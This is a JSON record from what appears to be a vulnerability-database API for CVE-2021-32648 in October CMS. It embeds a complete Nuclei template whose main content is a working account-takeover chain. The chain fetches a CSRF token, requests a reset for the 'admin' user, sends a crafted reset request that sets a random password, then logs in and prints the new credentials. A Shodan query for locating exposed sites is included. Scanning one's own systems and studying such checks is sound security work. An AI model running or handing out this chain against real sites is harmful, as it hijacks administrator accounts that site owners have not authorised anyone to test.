{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-32648/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-32648/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-32648/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-32648/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-32648/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-32648"},"sightings":{"href":"/api/v1/sightings/cve-2021-32648"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-32648.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2021-32648\n\ninfo:\n  name: OctoberCMS - Account Takeover\n  author: daffainfo\n  severity: high\n  description: |\n    octobercms in a CMS platform based on the Laravel PHP Framework. In affected versions of the october/system package an attacker can request an account password reset and then gain access to the account using a specially crafted request. The issue has been patched in Build 472 and v1.1.5.\n  impact: |\n    Unauthenticated attackers can request password resets and gain unauthorized access to user accounts including administrator accounts using a specially crafted request.\n  remediation: |\n    Upgrade to October CMS Build 472 or v1.1.5 or later.\n  reference:\n    - https://github.com/octobercms/october/security/advisories/GHSA-mxr5-mc97-63rc\n    - https://github.com/Immersive-Labs-Sec/CVE-2021-32648\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-32648\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N\n    cvss-score: 8.2\n    cve-id: CVE-2021-32648\n    cwe-id: CWE-287,NVD-CWE-Other\n    epss-score: 0.90418\n    epss-percentile: 0.99795\n    cpe: cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: octobercms\n    product: october\n    shodan-query: http.component:\"october cms\"\n  tags: cve,cve2021,cms,octobercms,intrusive,kev,vkev,vuln\n\nvariables:\n  reset_token: \"{{rand_base(42)}}\"\n  username: \"admin\"\n  password: \"{{randstr}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        GET /backend/backend/auth/restore HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"<meta\",\"csrf-token\",\"Restore\")'\n          - 'contains(content_type, \"text/html\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrf_token\n        part: body\n        group: 1\n        regex:\n          - '<meta name=\"csrf-token\" content=\"([0-9a-zA-Z]+)\">'\n        internal: true\n\n  - raw:\n      - |\n        POST /backend/backend/auth/restore HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        _token={{csrf_token}}&postback=1&login={{username}}\n\n      - |\n        POST /backend/backend/auth/reset/1/{{reset_token}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"_token\":\"{{csrf_token}}\",\"postback\":1,\"id\":1,\"code\":true,\"password\":\"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        GET /backend/backend/auth/signin HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"_session_key\",\"_token\",\"Login\")'\n          - 'contains(content_type, \"text/html\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: session_key\n        part: body\n        group: 1\n        regex:\n          - '<input name=\"_session_key\" type=\"hidden\" value=\"([0-9a-zA-Z]+)\">'\n        internal: true\n\n  - raw:\n      - |\n        POST /backend/backend/auth/signin HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        _session_key={{session_key}}&_token={{csrf_token}}&postback=1&login={{username}}&password={{password}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"october_session=\"\n          - \"admin_auth=\"\n        condition: and\n\n      - type: status\n        status:\n          - 302\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"Username: \" + username + \". Password: \"+ password'\n# digest: 4b0a00483046022100f6aa20b31a438ae045783e2d534e64ea143c2922aa0b403c8f41a0d875715695022100e75c4c6547b2b0b350027d89f031726e65c2ed959de52888683647cbad2310d2:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-32648"}